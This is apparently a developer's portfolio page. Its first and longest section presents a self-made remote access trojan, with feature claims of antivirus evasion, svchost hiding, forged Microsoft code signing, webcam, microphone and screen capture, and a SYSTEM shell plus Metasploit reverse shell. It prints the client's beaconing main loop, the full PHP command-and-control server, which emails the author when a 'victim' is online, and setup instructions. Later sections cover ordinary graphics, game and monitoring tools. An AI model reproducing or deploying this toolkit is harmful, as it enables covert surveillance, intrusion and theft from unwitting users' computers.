2018 - 2023 (Version 3.1 still under development)
A personal R.A.T. The main purpose of this project was to create my own "Remote Administration Toolkit" without the direct connection of Administration part and the client side. This was done with help of additional PHP server part which can be hosted on any domain.
Example of comunication from server to client: KRAKEN server » PHP server « KRAKEN klient
Or with additional proxy like TOR: KRAKEN server » TOR » PHP server « KRAKEN klient
This sollution has many benefits: You dont have to open any TCP ports on any side, you dont need to configure any firewalls , routers. Your public IP address is unknown for the client part.
- The client part and its installation is undetected by any current antivirus.
- All data that are send from client or server are encrypted with polyalfabetic encryption method.
- The client side doesnt need any additional lybraries or dependencies (Its written in c++ VS 6.0 ).
- Supported OS: Windows NT family from XP to latest windows 11 ( x32 or x64 )
- The client is installed as DLL and is running under microsoft svchost process.
- The client DLL is signed with my own certifikate and its clonning and acts as a legal Microsoft Windows verified file even under Sysinternals autoruns detection tool.
- The administration part support multiple clients (users)
- File dump: File manager (Browse files, copy, download, upload, execute ... )
- Reg dump: Windows registry manager (Browse registry, delete nodes , create new ... )
- MP3 player: Play mp3 files ...
- Print screen: Take a snapshot of Desktop as jpg file (custom commpression,custom resollution, in loop (like video) ... )
- Shell: Open shell like windows CMD with SYSTEM rights
- Sound recorder: Records sound if microphone is attached to PC or laptop
- System spy: OS fingerprinting like running services ( with start , stop , disable support ), Installed software, Users on OS ...
- Webcam: Webcam snapshot if camera is attached to PC or laptop.
- Metasploit reverse TCP shell: Create reverse TCP connection to remote listenning metasploit handler (custom IP , custom port). The plugin is coded in pure c++ (no some separate exe or something created with msfvenom). WARNING: this is direct connection you can use some VPS. The metasploit operations on host are not detected with windows defender because of svchost process.
- I have discovered my own installation method to run DLL uder legal microsoft svchost process (No DLL injection or something like this). This method is still undetecable by any antivirus. You need only admin rights (UAC popup) when executting the installer.
- I have discovered how to sign any binary file with digital signature that is succefully verified as Microsoft publisher.
// remote client side main core function // void run_core(HINSTANCE core_dll_instance_l) { // delete old log files on startup #ifdef TEST_RELEASE CreateDirectoryW(L"c:\\kraken_logs", 0); DeleteFileW(L"c:\\kraken_logs\\explorer.exe.txt"); DeleteFileW(L"c:\\kraken_logs\\svchost.exe.txt"); #endif // move self to system dir ( first time install from temp directory ) file_functions_c::move_to_system_dir(true); initialize(); // User space (EXPLORER PART) main loop // - find Windows Explorer process and inject self to it // - check internet connection if success then Connect to PHP part , download new commands // - Determine if commands are for USER instance OR SYSTEM instance // - Comunicate trough shared memory with SYSTEM instance // - Process commands , wait for SYSTEM instance for completting commands // - encrypt results , zip into single file , send results back to PHP part if (migrate_to_explorer() && GetCurrentProcessId() == file_functions_c::get_explorer_pid()) { while (true) { //watting for new loop Sleep(settings->main_loop_sleep); //tell PHP part that we are online, if sucefull internet connection, download settings file , decrypt it , send settings to SYSTEM instance first_time_send(); // wait for successful previous step if (settings->kraken_enabled == false) continue; // tell PHP part we want send email that we are online if (settings->send_email) { settings->send_email = false; http_c::send_post_reguest(settings->http_server_to_send, L"/process.php?w=" + settings->who_nickname + L"&s=" + WHO_NICKNAME); } // get commands in ziped file from PHP server , unzip it , decrypt it wstring server_content = process_file_for_client(settings->data_store_path + L"\\fc.dat", L"/" + settings->who_nickname + L"/fc.dat"); // split commands to individual plugins if (server_content != L"") get_hc_from_ini(server_content); // Plugins part // Print screen plugin ( must be in USER space because of SYSTEM services have diferent desktop and another privileges) if (settings->use_print_screen_plugin) { settings->use_print_screen_plugin = false; if (settings->print_screen_infinet_loop || settings->print_screen_count > 1) settings->use_print_screen_plugin = true; if (settings->print_screen_delay > 0) { if (settings->print_screen_delay > settings->main_loop_sleep / 1000) settings->print_screen_delay -= settings->main_loop_sleep / 1000; else { settings->print_screen_count -= 1; print_screen_c::process_core(settings->print_screen_compression, settings->print_screen_resize_half, settings->print_screen_resize_x, settings->print_screen_resize_y, settings->data_store_path); } } } // webcam plugin ( not fully tested on newer OS after win 7 ) if (settings->use_webcam_plugin) { settings->use_webcam_plugin = false; if (settings->webcam_delay > 0) { if (settings->webcam_delay > settings->main_loop_sleep / 1000) settings->webcam_delay -= settings->main_loop_sleep / 1000; else { settings->webcam_count -= 1; webcam_c::process_core(settings->data_store_path + L"1.bmp"); } } } //Metasploit reverse TCP plugin ( because of diferent privileges as SYSTEM instance ) if (settings->use_msf_loader) { settings->use_msf_loader = false; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)msf_loader_c::process_core, settings, 0, 0); } // check result from plugins , encrypt it , zip it , send it to PHP part process_file_for_server(); } } // SYSTEM space (SERVICE PART) main loop // unpack and install self signed certificate into Windows local machine certificate store // wait for commands from EXPLORER PART and process it // else if (settings->first_time_send && GetCurrentProcessId() != file_functions_c::get_explorer_pid()) { // unpack and install certificate file_functions_c::unpack_from_resource("CERTFILE", settings->temp_path + L"\\cert.cer", core_dll_instance_l); install_cert(settings->temp_path + L"\\cert.cer"); initialize(); settings->first_time_send = false; while (true) { //watting for new loop Sleep(settings->main_loop_sleep); // get commands from EXPLORER part trough shared memory wstring ss_from_shared_memory = shared_memory_c::read_from_shared_memory(L"Global\\test"); // split commands to individual plugins if (ss_from_shared_memory != L"") get_hc_from_ini(ss_from_shared_memory); // Plugins part // File explorer plugin if (settings->use_file_dump_plugin) { settings->use_file_dump_plugin = false; file_dump_c::process_core(settings->file_dump_letters_only, settings->file_dump_whole_structure, settings->file_dump_only_this_dir, settings->file_dump_subdirs, settings->file_dump_only_dirs, settings->file_dump_extension_filter, settings->preset_filter, settings->data_store_path + L"\\hs.txt", settings->file_dump_delete_file, settings->file_dump_download_file, settings->file_dump_create_dir, settings->data_store_path, settings->file_dump_delete_dir, settings->file_dump_upload_temp_file, settings->file_dump_upload_to, settings->file_dump_execute, settings->file_dump_execute_hidden, settings->explorer_pid); } // System spy plugin if (settings->use_system_info_plugin) { settings->use_system_info_plugin = false; system_info_c::process_core(settings->system_info_kill_process_pid, settings->system_info_start_service, settings->system_info_stop_service, settings->system_info_check_processes, settings->system_info_check_domain, settings->system_info_check_default_pass, settings->system_info_check_software, settings->system_info_check_services, settings->system_info_users, settings->data_store_path + L"\\hs.txt"); } //MP3 player plugin if (settings->mp3_player_use_mp3_player_plugin == true) { if (settings->mp3_player_random < 0) { settings->mp3_player_use_mp3_player_plugin = false; mp3_player_c::process_core(settings); } else settings->mp3_player_random -= settings->main_loop_sleep; } //Windows Registry explorer plugin if (settings->use_reg_dump_plugin) { settings->use_reg_dump_plugin = false; reg_dump_c::process_core(settings); } //Metasploit reverse TCP plugin ( with System privileges) if (settings->use_msf_loader_system) { settings->use_msf_loader = false; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)msf_loader_c::process_core, settings, 0, 0); } //Windows CMD plugin if (settings->use_shell) { settings->use_shell = false; if (settings->shell_plugin_command != L"") cmd_c::add_command(convert_c::wsts(settings->shell_plugin_command)); else CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)cmd_c::process_core, settings, 0, 0); settings->shell_plugin_command = L""; } } } }
// administration part sample // namespace KRAKEN_3._0._1 { class process_file_for_server { public static void process(one_user_c user, string file_path) { if (base_form.instance.InvokeRequired) { base_form.instance.Invoke((MethodInvoker)delegate { process(user, file_path); }); return; } using (new WaitCursor()) { decode.decode_file(file_path, settings.server_settings_crypt_key); string content = IOHelper.IOExtensions.get_file_content_string(file_path); if (content.Contains("{{") && content.Contains("}}")) { string content_type = content.Substring(content.IndexOf("{{") + 2); content_type = content_type.Substring(0, content_type.IndexOf("}}")); if (Directory.Exists(user.user_home_directory + "RESPONSES") == false) Directory.CreateDirectory(user.user_home_directory + "RESPONSES"); string local_file = IOHelper.IOExtensions.get_destination_filename_increment(user.user_home_directory + "RESPONSES\\" + content_type + ".txt"); File.Copy(file_path, local_file); one_response_c one_response = new one_response_c(); one_response.content = content; one_response.content_file_path = local_file; one_response.content_type = content_type; if (user.responses == null) user.responses = new List<>(); user.responses.Add(one_response); if (user.is_selected) { base_form.instance.user_responses_grid.Rows.Add(content_type); base_form.instance.user_responses_grid.Rows[base_form.instance.user_responses_grid.Rows.Count - 2].Tag = one_response; } base_form.instance.userlog_add(1, "FOUND NEW RESPONSE WINDOW - " + one_response.content_type, user); base_form.instance.Process_data_contextmenu_Click(null, null); base_form.instance.play_sound(1); } } } } }
// PHP server // //get variables //user to handle $user = ""; if (isset($_GET["w"]) == true) $user = $_GET["w"]; if (isset($_POST["w"]) == true) $user = $_POST["w"]; //sending email $send_mail = ""; if (isset($_GET["s"])) $send_mail = $_GET["s"]; if (isset($_POST["s"])) $send_mail = $_POST["s"]; //delete file for client $empty_fc_file = ""; if (isset($_GET["efc"])) $empty_fc_file = $_GET["efc"]; if (isset($_POST["efc"])) $empty_fc_file = $_POST["efc"]; //delete file for server $empty_fs_file = ""; if (isset($_GET["efs"])) $empty_fs_file = $_GET["efs"]; if (isset($_POST["efs"])) $empty_fs_file = $_POST["efs"]; //delete other file $delete_file = ""; if (isset($_GET["df"])) $delete_file = $_GET["df"]; if (isset($_POST["df"])) $delete_file = $_POST["df"]; //get all users in txt file $get_user_list = ""; if (isset($_GET["gul"])) $get_user_list = $_GET["gul"]; if (isset($_POST["gul"])) $get_user_list = $_POST["gul"]; // check for uploading file $server_upload = ""; if (isset($_GET["sup"])) $server_upload = $_GET["sup"]; if (isset($_POST["sup"])) $server_upload = $_POST["sup"]; // permanently delete user data on PHP side $delete_user = ""; if (isset($_GET["du"])) $delete_user = $_GET["du"]; if (isset($_POST["du"])) $delete_user = $_POST["du"]; // main part if ($get_user_list != "") update_user_list(); if ($user != "") { if ($delete_user != "") rrmdir($user); if ($server_upload != "") { move_uploaded_file($_FILES['file']['tmp_name'],$user . '/'. $_FILES['file']['name']); } else { if (!is_dir($user) && $delete_user == "") create_user($user); if ($send_mail != "") send_email($send_mail); save_ip($user); // save ip and time get_file($user); //get uploaded file if ($empty_fc_file == "1") delete_file($user . "/fc.dat"); if ($empty_fs_file != "") delete_file($user . "/".$empty_fs_file); if ($delete_file != "") delete_file($user . "/".$delete_file); } } // if nothing display fake index.html (when somebody is accessing this file directly) /*else //display banner { include("../index.html"); }*/ //delete dir and its contents function rrmdir($dir) { unlink($dir."/fc.dat"); unlink($dir."/fs.dat"); unlink($dir."/info.txt"); unlink($dir."/ss.txt"); rmdir($dir); } // add user to handle to list.txt if isnt already there function update_user_list() { $dirs = glob('*',GLOB_ONLYDIR); $fp = fopen("list.txt", "w+"); if ($fp) { foreach ($dirs as $dir) { if (strstr("plugs",$dir)) continue; if (strstr("clear",$dir)) continue; if (is_file($dir . "/ss.txt")) { fwrite($fp, $dir ); fwrite($fp, "\r\n"); } } fclose($fp); } } function delete_file($file_to_delete) { if (is_file($file_to_delete)) unlink($file_to_delete); } // create incremented file name if base name exists (fs.dat - > fs_1.dat) function newname($path, $filename) { $res = "$path/$filename"; if (!file_exists($res)) return $res; $fnameNoExt = pathinfo($filename,PATHINFO_FILENAME); $fnameNoExt = "fs" . substr($fnameNoExt,0,-2); $ext = pathinfo($filename, PATHINFO_EXTENSION); $i = 1; while(file_exists("$path/$fnameNoExt" ."_"."$i.$ext")) $i++; return "$path/$fnameNoExt" ."_"."$i.$ext"; } // get uploaded file from server or client and save it to current user function get_file($user) { $uploaddir = $user . '/'; if (isset($_FILES['file']) == false) return; if (is_uploaded_file($_FILES['file']['tmp_name'])) { $uploadfile = $uploaddir . "fs.dat"; $uploadfile_ok = $uploadfile; if (filesize($uploadfile) > 0) $uploadfile_ok = newname($uploaddir, basename($uploadfile)); move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile_ok); return true; } return false; } // create new user if doesnt exist function create_user($user) { mkdir($user); $processfile = $user . "/ss.txt"; $fp = fopen($processfile, "w+"); if ($fp) { fwrite($fp, "[[0]]"); fclose($fp); } } // save ip and time of last usage function save_ip($user) { $ip = $_SERVER['REMOTE_ADDR']; // save remote user ip $my_t=getdate(date("U")); $processfile = $user . "/info.txt"; $fp = fopen($processfile, "w+"); if ($fp) { fwrite($fp,$ip ); fwrite($fp, " - "); fwrite($fp, $my_t["month"] ); fwrite($fp, "." ); fwrite($fp, $my_t["mday"] ); fwrite($fp, " > " ); fwrite($fp, $my_t["hours"] ); fwrite($fp, ":" ); fwrite($fp, $my_t["minutes"] ); fclose($fp); } } //sending email to me if client is online function send_email($who) { $sendTo = "petr.kalban@centrum.cz"; $jmenoa = $who; $subjecta = $jmenoa; $maila = "victim"; $messagea = " check out "; $subjecta = "check out - " . $subjecta; $headers = ""; $headers .= "From: " . $maila ." ". $jmenoa . "<" . $maila .">\r\n"; $headers .= "Reply-To: " . $maila . "\r\n"; $headers .= "Return-path: " . $maila; $messagea = "od: " . $jmenoa . "\r\n\r\n" . "Zpráva: " . $messagea . "\r\n\r\n"; mb_language('Neutral'); mb_internal_encoding("UTF-8"); mb_http_input(); mb_http_output(); mb_send_mail($sendTo,$subjecta,$messagea,$headers); }
The source is compressed with password, send me a message and purpose of your usage and I will send you the password
Visual studio 6.0 + Microsoft platform SDK 2003 , Visual studio 2019
After intalled Visual studio 6.0 and psdk 2003 open the sollution (client/client.dsw) and you should be able to compile the x32 version. For the x64 version you will need to correct paths in build_x64.bat, then execute the bat file and the x64 version should be compiled.
Note: Before compiling adjust your client settings in "client\DCOMshs\headers\settings_new_client.h" , the output release directory and everything compiled is in "client/release"
Sellect your favorite webhosting with PHP support , place the "PHP/process.php" file to root directory on the webhosting domain.
Note: Dont forget to adjust the settings in "client\DCOMshs\headers\settings_new_client.h" with the correct domain (HTTP_SERVER and TEST_SERVER)
Open the sollution (server\KRAKEN 3.0.1\KRAKEN 3.0.1.sln) and compile it.
Note: The base form (UI) is under Forms/base_form.cs
2020 - 2023 (still under development)
Personal content asset manager and collection of own scripts and plugins used for fast searching , managing , rendering and sorting various CG assets like 3D models, textures, HDRI maps, IES lights, whole scenes, fonts, brushes, materials, tutorials and other resources needed for my CG projects.
I was inspired by existing sollutions like Project manager and others, but I wanted to implement my own methods for my workflow. I am using some libraries like assimp (for importing and live display of various 3D file formats) , freeimage (for advanced image manipulations ) and some 3rd party classes (PSD file parser for example).
In the future when its completed and fully tested I will present this as opensource with donate system. So everyone can modify the code and implement own functions and methods.
- Conection and suport of 3DS max 2018 - 2022
- V-ray , Corona renderers suport.
- Rendering of various file formats like substance painter smart mask and materials.
- Previews of PSD files
- Some important parts are multithreaded (fast listview popullation for example)
- Automated Thumbnail renderer
//AssetTOR communication with 3DS MAX trough named pipes registry.createKey HKEY_CURRENT_USER "SOFTWARE\\AssetTOR" key:&assettor_reg_key registry.queryValue assettor_reg_key "AssetTOR_path" type:&type value:&assettor_path global free_asset_manager_ini_file_path = assettor_path + "\\settings\\settings.ini" global assettor_dll_path = assettor_path + "\\assettor.dll" global log_file_stream = undefined global log_file = undefined global pipe_server = undefined global command_to_process = "" global return_value_final = undefined global thread_running = true global timer_ = dotNetObject "System.Windows.Forms.Timer" global pipe_read_thread = dotnetobject "system.componentmodel.backgroundworker" fn process_command command = ( file_to_include_tmp = command if (file_to_include_tmp != undefined) then if ( doesfileexist (sysInfo.tempdir+file_to_include_tmp) ) then ( try ( return_value_final = "" filein (sysInfo.tempdir+file_to_include_tmp) return_value = ("OK FILEIN" + file_to_include_tmp) ) catch ( return_value = ("ERROR FIEIN " + file_to_include_tmp) close_log_file() ) ) else ( try ( return_value_tmp = execute file_to_include_tmp if ((classof return_value_tmp) as string) == "Array" then return_value = (with printAllElements on return_value_tmp as string ) else return_value = ("OK EXECUTING " + file_to_include_tmp) ) catch ( return_value = ("ERROR EXECUTING " + file_to_include_tmp) close_log_file() ) ) if ( doesfileexist (sysInfo.tempdir+file_to_include_tmp) ) then deletefile (sysInfo.tempdir+file_to_include_tmp) return return_value ) fn close_log_file = ( if (log_file != undefined ) then log_file.close() log_file = undefined if (log_file_stream != undefined ) then log_file_stream.close() log_file_stream = undefined ) fn start_pipe_event = ( thread_running = true try ( pipe_server.waitforconnection() sr = dotnetobject "System.io.streamreader" pipe_server return_value_final = undefined command_to_process = sr.readline() while true do ( if (return_value_final != undefined) then ( sw = undefined if (pipe_server.isconnected and pipe_server.canwrite and pipe_server.canread) then sw = dotnetobject "System.io.streamwriter" pipe_server if (pipe_server.isconnected and pipe_server.canwrite and pipe_server.canread) then sw.writeline return_value_final if (pipe_server.isconnected and pipe_server.canwrite and pipe_server.canread) then sw.flush() return 0 ) ) ) catch ( print ("ERROR STARTING PIPE SERVER " + getcurrentexception()) ) ) fn start_pipe_completed = ( pipe_server.disconnect() thread_running = false ) fn check_pipe_disconected = ( try ( if (command_to_process != "") then ( command_to_process_tmp = command_to_process command_to_process = "" return_value_final = process_command command_to_process_tmp ) ) catch ( print ("ERROR executing command " + getcurrentexception()) return_value_final = "ERROR"; ) try ( if thread_running == false and pipe_read_thread != undefined then ( print "relaunching pipe read thread" thread_running = true pipe_read_thread.runworkerasync() ) ) catch ( print ("ERROR restarting pipe thread " + getcurrentexception()) ) ) error = false if not (doesfileexist assettor_dll_path) then ( print "AssetTor dll asembly not found" error = true ) else ( dotnet.loadassembly assettor_dll_path clearlistener() escapeEnable = false function_path = (dotnetobject "System.String" (getfilenamepath (getthisscriptfilename()))).replace "\\startup\\" "\\assettor\\" + "functions.ms" if not (doesfileexist function_path) then ( error = true messageBox ("AssetTor - can not find script file [ " + getfilenamefile(function_path) + " ]") ) else filein function_path if (error == false) then ( cur_process = dotnetobject "System.Diagnostics.Process" cur_process = cur_process.GetCurrentProcess() cur_process_id = cur_process.id assetor_dll_custom_controls = dotnetobject "AssetTor.custom_controls" pipe_server = assetor_dll_custom_controls.get_server_pipe cur_process_id dotNet.addEventHandler pipe_read_thread "DoWork" start_pipe_event dotNet.addEventHandler pipe_read_thread "RunWorkerCompleted" start_pipe_completed if ((maxVersion())[1] >= 12000) then dotnet.setLifetimeControl pipe_read_thread #dotnet pipe_read_thread.runworkerasync() timer_.interval = 200 dotNet.addEventHandler timer_ "Tick" check_pipe_disconected if ((maxVersion())[1] >= 12000) then dotnet.setLifetimeControl timer_ #dotnet timer_.enabled = true timer_.start() ) ) proc = dotNetObject "System.Diagnostics.Process" info=proc.GetCurrentProcess() pid=info.Id registry.createKey HKEY_CURRENT_USER "SOFTWARE\\AssetTOR\\3dsMAX" key:&key1 registry.setvalue key1 ((pid as string) + "_started_and_ready") #REG_SZ "True"
// multithreaded listview population using parallelforeach private void Worker_DoWork(object sender, DoWorkEventArgs e) { if (baseform.Instance.listview_progressbar.cancel_progress == true) return; int last_update_procent = -1; using (new WaitCursor()) { ParallelOptions poptions = new ParallelOptions(); poptions.MaxDegreeOfParallelism = 6; Listfiles_in_dir_before_filter = get_files_from_dir(selectednode); files_in_dir_before_filter.ForEach(x => x.get_file_attributes()); files_in_dir = new List (); if (baseform.cur_category.files_filter != null && baseform.cur_category.files_filter.filter_active) { int new_cur_index = 0; foreach (listview_item one_file_in_dir_before_filter in files_in_dir_before_filter) { if (files_filter_dropdown.process_one_item_filter(one_file_in_dir_before_filter) == true) { one_file_in_dir_before_filter.Index = new_cur_index; files_in_dir.Add(one_file_in_dir_before_filter); new_cur_index++; } } } else files_in_dir = files_in_dir_before_filter; treeview_functions.process_info_group_boxes(false, files_in_dir.Count()); int cur_progressbar_index = 0; bool display_thumbnails = baseform.Instance.listview.view != BrightIdeasSoftware.ObjectListView.cur_view.no_view_active; baseform.cur_category.thumbnails_data = new System.Collections.Hashtable(); List processed_dirs = new List (); Parallel.ForEach(files_in_dir, poptions, one_new_listview_item => { if (baseform.Instance.listview_progressbar.cancel_progress) { return; } if (processed_dirs.Contains(Path.GetDirectoryName(one_new_listview_item.File_path) + "\\AssetTor.txt") == false) { baseform.cur_category.get_thumbnails_to_hashtable(Path.GetDirectoryName(one_new_listview_item.File_path) + "\\AssetTor.txt"); processed_dirs.Add(Path.GetDirectoryName(one_new_listview_item.File_path) + "\\AssetTor.txt"); } if (one_new_listview_item.Is_not_associated_preview) { one_new_listview_item.Preview_full_image_path = one_new_listview_item.File_path; one_new_listview_item.processed = true; one_new_listview_item.Treenode = selectednode; one_new_listview_item.File_extension = ".. Not asociated preview"; one_new_listview_item.generate_thumbs_from_full_preview_image(); return; } if (baseform.cur_category.name == categories.TUTORIALS) { } else { one_new_listview_item.Preview_full_image_path = one_new_listview_item.get_image_path_from_thumb_databaze(); } one_new_listview_item.Cutted_name = one_new_listview_item.Text.Trim_to_dots(baseform.Instance.listview.LargeImageList.ImageSize.Width, baseform.Instance.listview.Font); List image_extensions = category_class.one_section_extension.get_category_suported_extension("TEXTURES").Select(x => x.extension).ToList(); bool is_image = image_extensions.Contains(one_new_listview_item.File_extension); one_new_listview_item.is_image = is_image; if ((is_image || baseform.cur_category.name == categories.TEXTURES || baseform.cur_category.name == categories.HDRI || baseform.cur_category.name == categories.IES) && File.Exists(one_new_listview_item.Preview_full_image_path) == false) one_new_listview_item.Preview_full_image_path = one_new_listview_item.File_path; if (selectednode.Is_keyword_view_node == false) one_new_listview_item.Treenode = selectednode; one_new_listview_item.Tooltip_text = one_new_listview_item.File_path + Environment.NewLine + "filesize [ " + one_new_listview_item.File_size_MB + " MB ]" + Environment.NewLine + "last modified [ " + one_new_listview_item.Last_modified_string + " ]"; if (File.Exists(one_new_listview_item.Preview_full_image_path) && display_thumbnails) { if (baseform.cur_category.folder_filter.show_new_missing_thumbnails) return; } else if ((is_image || baseform.cur_category.name == categories.TEXTURES || baseform.cur_category.name == categories.HDRI || baseform.cur_category.name == categories.IES) && display_thumbnails) { one_new_listview_item.Preview_full_image_path = one_new_listview_item.File_path; } else if (one_new_listview_item.File_extension == ".max") { if (display_thumbnails) one_new_listview_item.update_3ds_max_thumbnail(); } else if (one_new_listview_item.is_font_file) { one_new_listview_item.font_to_image(); } one_new_listview_item.generate_thumbs_from_full_preview_image(); one_new_listview_item.processed = true; System.Threading.Interlocked.Increment(ref cur_progressbar_index); cur_procent_completed = (int)Math.Round((double)(100 * cur_progressbar_index) / files_in_dir.Count); worker.ReportProgress(cur_procent_completed); if (cur_procent_completed <= 10) if (cur_procent_completed % 10 == 0 && last_update_procent != cur_procent_completed) { last_update_procent = cur_procent_completed; baseform.Instance.listview.SetObjects(files_in_dir.Where(x => x.processed).OrderBy(x => x.Index).ToList()); } }); } }
# Cinema object to obj auto exporter import c4d import os from c4d import gui , documents def main(): base_dir = "J:\\models\\MIX\\Chains Ropes\\NS_Ropes_IMM\\" for root, dirs, files in os.walk(base_dir): for file in files: file = file.lower() if file.endswith(".obj"): file_name = os.path.join(root,file) obj_name = os.path.splitext(file_name)[0] + "_.obj" print(file_name) c4d.documents.LoadFile(file_name) doc = c4d.documents.GetActiveDocument() objects = doc.GetObjects() for i, obj in enumerate(objects): tempDoc = c4d.documents.BaseDocument() clone = obj.GetClone() tags = obj.GetTags() for t in tags: if isinstance(t, c4d.TextureTag): mat = t[c4d.TEXTURETAG_MATERIAL] if mat != None: tempDoc.InsertMaterial(mat) tempDoc.InsertObject(clone) c4d.documents.SaveDocument(tempDoc, obj_name , c4d.SAVEDOCUMENTFLAGS_DONTADDTORECENTLIST, 1030178) tempDoc.Flush() c4d.documents.KillDocument(doc) # Execute main() if __name__=='__main__': main()
I also included binaries when you want to try it you dont have to compile it.
Visual studio 2019
open the solution under assetTOR\assetTOR.sln with visual studio 2019 , compile ... Done
2011 - 2013
As kid I was playing a game - RAIDEN II (arcade 2d shooter). The game was so amazing for me, that I wanted for long time to create my own version, or something like remake of the classic game. I started to remake the game in 2011 ... My programming skills were not so good and later when I decided to continue the development of XNA framework by Microsoft was aborted. In the future I will try to continue in Unity or UDK engines.This version contains two parts - editor (engine) and the game itself. In editor you can set the positions movements and animated sprites. The settings are saved as INI settings for the game.
// Devastator engine sample (I dont remember exactly what it does ... I think some bezier curve implementation) protected override void OnPaint(PaintEventArgs e) { base.OnPaint(e); Graphics g = e.Graphics; { // draw X ruler int x0 = 0; int x2 = 255; float unitX = (float)imageCurve_in.Width / 255f; for (int i = x0; i <= x2; i++) { if (i % 10 == 0) g.DrawLine(new Pen(Color.Black), new PointF((i - x0) * unitX + imageCurve_in.Left, imCurveRect.Bottom), new PointF((i - x0) * unitX + imageCurve_in.Left, imCurveRect.Bottom + 5)); // ruler line if (i % 50 == 0) { g.DrawLine(new Pen(Color.Black, 2f), new PointF((i - x0) * unitX + imageCurve_in.Left, imCurveRect.Bottom), new PointF((i - x0) * unitX + imageCurve_in.Left, imCurveRect.Bottom + 12)); SizeF stringSize = g.MeasureString(i.ToString(), this.Font); PointF stringLoc = new PointF((i - x0) * unitX + imageCurve_in.Left - stringSize.Width / 2, imCurveRect.Bottom + 12); g.DrawString(i.ToString(), this.Font, new SolidBrush(Color.Black), stringLoc); } } // draw Y ruler int y0 = 0; int y2 = 255; float unitY = (float)imageCurve_in.Height / 255f; for (int i = y0; i <= y2; i++) { if (i % 10 == 0) g.DrawLine(new Pen(Color.Black), new PointF(imCurveRect.Left - 5, imageCurve_in.Bottom - (i - y0) * unitY), new PointF(imCurveRect.Left, imageCurve_in.Bottom - (i - y0) * unitY)); // ruler line if (i % 50 == 0) { g.DrawLine(new Pen(Color.Black, 2f), new PointF(imCurveRect.Left - 10, imageCurve_in.Bottom - (i - y0) * unitY), new PointF(imCurveRect.Left, imageCurve_in.Bottom - (i - y0) * unitY)); // ruler line SizeF stringSize = g.MeasureString(i.ToString(), this.Font); PointF stringLoc = new PointF(imCurveRect.Left - 10 - stringSize.Width, imageCurve_in.Bottom - (i - y0) * unitY - stringSize.Height / 2); g.DrawString(i.ToString(), this.Font, new SolidBrush(Color.Black), stringLoc); } } // draw rect for control imageCurve g.DrawRectangle(new Pen(Color.Black, 2), imCurveRect); } { // draw X ruler int x0 = 0; int x2 = 255; float unitX = (float)imageCurve_out.Width / 255f; for (int i = x0; i <= x2; i++) { if (i % 10 == 0) g.DrawLine(new Pen(Color.Black), new PointF((i - x0) * unitX + imageCurve_out.Left, imCurveRect2.Bottom), new PointF((i - x0) * unitX + imageCurve_out.Left, imCurveRect2.Bottom + 5)); // ruler line if (i % 50 == 0) { g.DrawLine(new Pen(Color.Black, 2f), new PointF((i - x0) * unitX + imageCurve_out.Left, imCurveRect2.Bottom), new PointF((i - x0) * unitX + imageCurve_out.Left, imCurveRect2.Bottom + 12)); SizeF stringSize = g.MeasureString(i.ToString(), this.Font); PointF stringLoc = new PointF((i - x0) * unitX + imageCurve_out.Left - stringSize.Width / 2, imCurveRect2.Bottom + 12); g.DrawString(i.ToString(), this.Font, new SolidBrush(Color.Black), stringLoc); } } // draw Y ruler int y0 = 0; int y2 = 255; float unitY = (float)imageCurve_out.Height / 255f; for (int i = y0; i <= y2; i++) { if (i % 10 == 0) g.DrawLine(new Pen(Color.Black), new PointF(imCurveRect2.Left - 5, imageCurve_out.Bottom - (i - y0) * unitY), new PointF(imCurveRect2.Left, imageCurve_out.Bottom - (i - y0) * unitY)); // ruler line if (i % 50 == 0) { g.DrawLine(new Pen(Color.Black, 2f), new PointF(imCurveRect2.Left - 10, imageCurve_out.Bottom - (i - y0) * unitY), new PointF(imCurveRect2.Left, imageCurve_out.Bottom - (i - y0) * unitY)); // ruler line SizeF stringSize = g.MeasureString(i.ToString(), this.Font); PointF stringLoc = new PointF(imCurveRect2.Left - 10 - stringSize.Width, imageCurve_out.Bottom - (i - y0) * unitY - stringSize.Height / 2); g.DrawString(i.ToString(), this.Font, new SolidBrush(Color.Black), stringLoc); } } // draw rect for control imageCurve g.DrawRectangle(new Pen(Color.Black, 2), imCurveRect2); } }
Its not posible to compile this, because of missing 2d assets (that I am not giving public), but you can check the source if you want.
2016
A Tool for remote check of PC resources ( RAM usage, CPU usage ... ) over TCP/IP protocol with help of openhardware monitor library
I am ussing it for my mini renderfarm
Visual studio 2019
open the solution under admin or slave directory with visual studio 2019 , compile ... Done
2015
Script for 3DS max that reduce the density of mesch of 3D models after applying tessellations modifiers like meschsmooth or turbosmooth with the goal to not change the form or look of the mesch.
I am selling this on gumroad project page so the source code is closed. You can check it here [ Gumroad - tessellation cleaner ]
- Compatible with 3DS max 2008 - to latest version
- Quad mesh output
- Add new modifier (TC) on modifier stack
- Very easy to use (only 4 parameters)
2015
Its a utillity for audit wireless 802.11 networks. Its using another tools like aircrack-ng , macchanger , bully ...
I have tested it on Ubuntu 18, other OS environments like Windows are not supported ... but should not be difficult to port it to Windows.
At this time only 2.4 GHz networks are supported (I am planning to add 5 GHz networks support in the future).
Python 3 + additional packages ( you can use install_dependencies.sh in DEPENDENCIES folder ) , QT5
2006
University seminar based work. The aliens named "bobers" from planet X are atacking us - they want to destroy the electric power on earth! Your goal is to stop them!
We used own c++ + QT editor on the university which I dont own anymore so the source and binary is unavailable. I place it here only for fun and nostalgy :)